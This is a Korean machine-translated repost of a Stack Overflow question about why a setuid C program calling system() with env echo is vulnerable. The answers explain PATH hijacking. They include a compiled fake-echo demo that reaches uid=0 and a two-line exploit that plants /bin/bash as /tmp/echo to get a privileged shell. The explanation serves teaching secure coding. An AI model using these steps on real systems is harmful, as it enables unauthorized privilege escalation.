source

이 C 코드의 취약한 점은 무엇입니까?

manysource 2023. 10. 7. 12:01

이 C 코드의 취약한 점은 무엇입니까?

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

제가 이해하는 바에 따르면, 위의 코드는 임의의 코드(또는 프로그램) 실행을 허용합니다. 무엇이 이것을 취약하게 만들고, 이것을 어떻게 활용할 수 있을까요?

당신은 다음을 무시할 수 있습니다.PATH사용자 지정 버전이 있는 디렉토리를 가리킬 변수echo그 이후로echo를 사용하여 실행됩니다.env, 내장된 것으로 취급되지 않습니다.

이는 코드가 권한 있는 사용자로 실행되는 경우에만 취약성을 구성합니다.

아래 예에서 v.c 파일에는 질문의 코드가 포함되어 있습니다.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

호출에 의한 실제 사용자 ID, 유효 사용자 ID 및 저장된 set-user-ID 설정에 유의합니다.setresuid()에 전화하기 전에system()문제에 게시된 취약 코드에서는 유효한 사용자 ID만 권한 있는 사용자 ID로 설정되어 있고 실제 사용자 ID는 권한이 없는 상태로 남아 있는 경우에도 취약성을 이용할 수 있습니다(예: 위와 같이 파일에서 set-user-ID 비트에 의존하는 경우).에 연락이 없는 경우setresuid()에 의해 좌지우지되는 껍데기system()는 유효 사용자 ID를 실제 사용자 ID로 재설정하여 공격을 효과적으로 수행하지 않습니다.다만, 해당 취약코드가 특권사용자의 실사용자 ID로 실행된 경우,system()전화만으로도 충분합니다.인용shman 페이지:

셸이 유효 사용자(그룹) ID와 실제 사용자(그룹) ID가 같지 않은 상태에서 시작되고 -p 옵션이 제공되지 않으면 시작 파일이 읽히지 않고 셸 기능이 환경에서 상속되지 않으며 환경에 나타나는 경우 SHELLOPTS 변수가 무시되고 유효 사용자 ID가 실제 사용자 ID로 설정됩니다.호출 시 -p 옵션이 제공되는 경우 시작 동작은 동일하지만 유효 사용자 ID는 재설정되지 않습니다.

그리고 참고하세요.setresuid()휴대용은 아니지만,setuid()아니면setreuid()동일한 의미로 사용될 수도 있습니다.

음 실제로 시스템 기능 통화에서 당신은 그것을 엉망으로 만들 수 있습니다.echo지휘.예를 들어 다음 코드를 실행하는 경우:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

파일 소유자 권한이 있는 셸을 얻을 것입니다.

언급URL : https://stackoverflow.com/questions/8304396/what-is-vulnerable-about-this-c-code